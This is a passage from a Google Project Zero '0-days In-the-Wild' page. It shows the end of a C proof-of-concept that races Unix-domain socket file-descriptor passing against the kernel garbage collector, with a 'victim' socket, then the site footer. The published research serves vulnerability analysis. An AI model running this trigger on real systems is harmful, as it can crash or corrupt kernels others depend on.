class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">v11</span><span class="p">));</span> <span class="n">v10</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="o">&</span><span class="n">v9</span><span class="p">;</span> <span class="n">v10</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1LL</span><span class="p">;</span> <span class="n">v11</span><span class="p">.</span><span class="n">msg_iov</span> <span class="o">=</span> <span class="o">&</span><span class="n">v10</span><span class="p">;</span> <span class="n">v11</span><span class="p">.</span><span class="n">msg_iovlen</span> <span class="o">=</span> <span class="mi">1LL</span><span class="p">;</span> <span class="n">v11</span><span class="p">.</span><span class="n">msg_control</span> <span class="o">=</span> <span class="n">received_fds</span><span class="p">;</span> <span class="n">v11</span><span class="p">.</span><span class="n">msg_controllen</span> <span class="o">=</span> <span class="mi">20LL</span><span class="p">;</span> <span class="n">received_fds_ptr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)</span><span class="n">received_fds</span><span class="p">;</span> <span class="n">received_fds</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mi">20LL</span><span class="p">;</span> <span class="c1">// len</span> <span class="n">v17</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v14</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span> <span class="n">pin_cpu</span><span class="p">(</span><span class="mi">2LL</span><span class="p">);</span> <span class="n">setpriority</span><span class="p">(</span><span class="n">PRIO_PROCESS</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">19</span><span class="p">);</span> <span class="n">pthread_mutex_lock</span><span class="p">(</span><span class="o">&</span><span class="n">condition_mutex_recvmsg</span><span class="p">);</span> <span class="n">pthread_cond_wait</span><span class="p">(</span><span class="o">&</span><span class="n">condition_cond_recvmsg</span><span class="p">,</span> <span class="o">&</span><span class="n">condition_mutex_recvmsg</span><span class="p">);</span> <span class="n">pthread_mutex_unlock</span><span class="p">(</span><span class="o">&</span><span class="n">condition_mutex_recvmsg</span><span class="p">);</span> <span class="n">usleep</span><span class="p">(</span><span class="mh">0xFAu</span><span class="p">);</span> <span class="n">v0</span> <span class="o">=</span> <span class="n">recvmsg</span><span class="p">(</span><span class="n">sv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="o">&</span><span class="n">v11</span><span class="p">,</span> <span class="mh">0x80042</span><span class="p">);</span> <span class="n">v14</span> <span class="o">=</span> <span class="n">v0</span> <span class="o"><</span> <span class="mi">0</span><span class="p">;</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">received_fds_ptr</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span> <span class="n">v1</span> <span class="o">=</span> <span class="n">recvmsg</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="o">&</span><span class="n">v11</span><span class="p">,</span> <span class="mh">0x80042</span><span class="p">);</span> <span class="c1">// data</span> <span class="n">v14</span> <span class="o">=</span> <span class="n">v1</span> <span class="o"><</span> <span class="mi">0</span><span class="p">;</span> <span class="n">g_victim_sock_fd</span> <span class="o">=</span> <span class="n">received_fds_ptr</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span> <span class="n">usleep</span><span class="p">(</span><span class="mh">0x3E8u</span><span class="p">);</span> <span class="n">v5</span> <span class="o">=</span> <span class="n">v4</span><span class="p">;</span> <span class="n">v17</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v16</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span> <span class="n">v7</span> <span class="o">=</span> <span class="n">recvmsg</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="o">&</span><span class="n">v11</span><span class="p">,</span> <span class="mh">0x80040</span><span class="p">);</span> <span class="n">v14</span> <span class="o">=</span> <span class="n">v7</span> <span class="o"><</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v16</span> <span class="o">=</span> <span class="n">received_fds_ptr</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span> <span class="n">usleep</span><span class="p">(</span><span class="mh">0x186A0u</span><span class="p">);</span> <span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span> <span class="n">close</span><span class="p">(</span><span class="n">v16</span><span class="p">);</span> <span class="n">close</span><span class="p">(</span><span class="n">sv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="n">pthread_exit</span><span class="p">(</span><span class="mi">0LL</span><span class="p">);</span> <span class="k">return</span> <span class="mi">0LL</span><span class="p">;</span> <span class="p">}</span> <span class="kt">void</span> <span class="nf">trigger</span><span class="p">()</span> <span class="p">{</span> <span class="n">pthread_t</span> <span class="n">v18</span><span class="p">;</span> <span class="n">pthread_t</span> <span class="n">v20</span><span class="p">;</span> <span class="n">pthread_t</span> <span class="n">v21</span><span class="p">;</span> <span class="kt">void</span> <span class="o">*</span><span class="n">arg</span><span class="p">;</span> <span class="n">pthread_create</span><span class="p">(</span><span class="o">&</span><span class="n">v20</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">(</span><span class="o">*</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="p">))</span><span class="n">t_main_gc_simple</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span> <span class="n">pthread_create</span><span class="p">(</span><span class="o">&</span><span class="n">v18</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">(</span><span class="o">*</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="p">))</span><span class="n">t_recvmsg</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span> <span class="n">usleep</span><span class="p">(</span><span class="mh">0x2710u</span><span class="p">);</span> <span class="n">pthread_create</span><span class="p">(</span><span class="o">&</span><span class="n">v21</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">(</span><span class="o">*</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="p">))</span><span class="n">setup_race</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span> <span class="n">pthread_join</span><span class="p">(</span><span class="n">v21</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span> <span class="n">pthread_join</span><span class="p">(</span><span class="n">v18</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span> <span class="n">pthread_join</span><span class="p">(</span><span class="n">v20</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span> <span class="n">usleep</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span> <span class="n">puts</span><span class="p">(</span><span class="s">"wut?"</span><span class="p">);</span> <span class="p">}</span> <span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="mi">20</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">socketpair</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">sv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="n">printf</span><span class="p">(</span><span class="s">"Failed to create Unix-domain socket pair</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="n">trigger</span><span class="p">();</span> <span class="p">}</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> </div> </article> </div> </main><footer class="site-footer h-card"> <data class="u-url" href="/0days-in-the-wild/"></data> <div class="wrapper"> <h2 class="footer-heading">0-days In-the-Wild</h2> <div class="footer-col-wrapper"> <div class="footer-col footer-col-1"> <ul class="contact-list"> <li class="p-name">Google Project Zero</li><li><a class="u-email" href="mailto:0day-in-the-wild@google.com">0day-in-the-wild@google.com</a></li></ul> </div> <div class="footer-col footer-col-2"><ul class="social-media-list"><li><a href="https://github.com/googleprojectzero"><svg class="svg-icon"><use xlink:href="/0days-in-the-wild/assets/minima-social-icons.svg#github"></use></svg> <span class="username">googleprojectzero</span></a></li></ul> </div> <div class="footer-col footer-col-3"> <p>Information about 0-days exploited in-the-wild!</p> </div> </div> </div> </footer> </body> </html>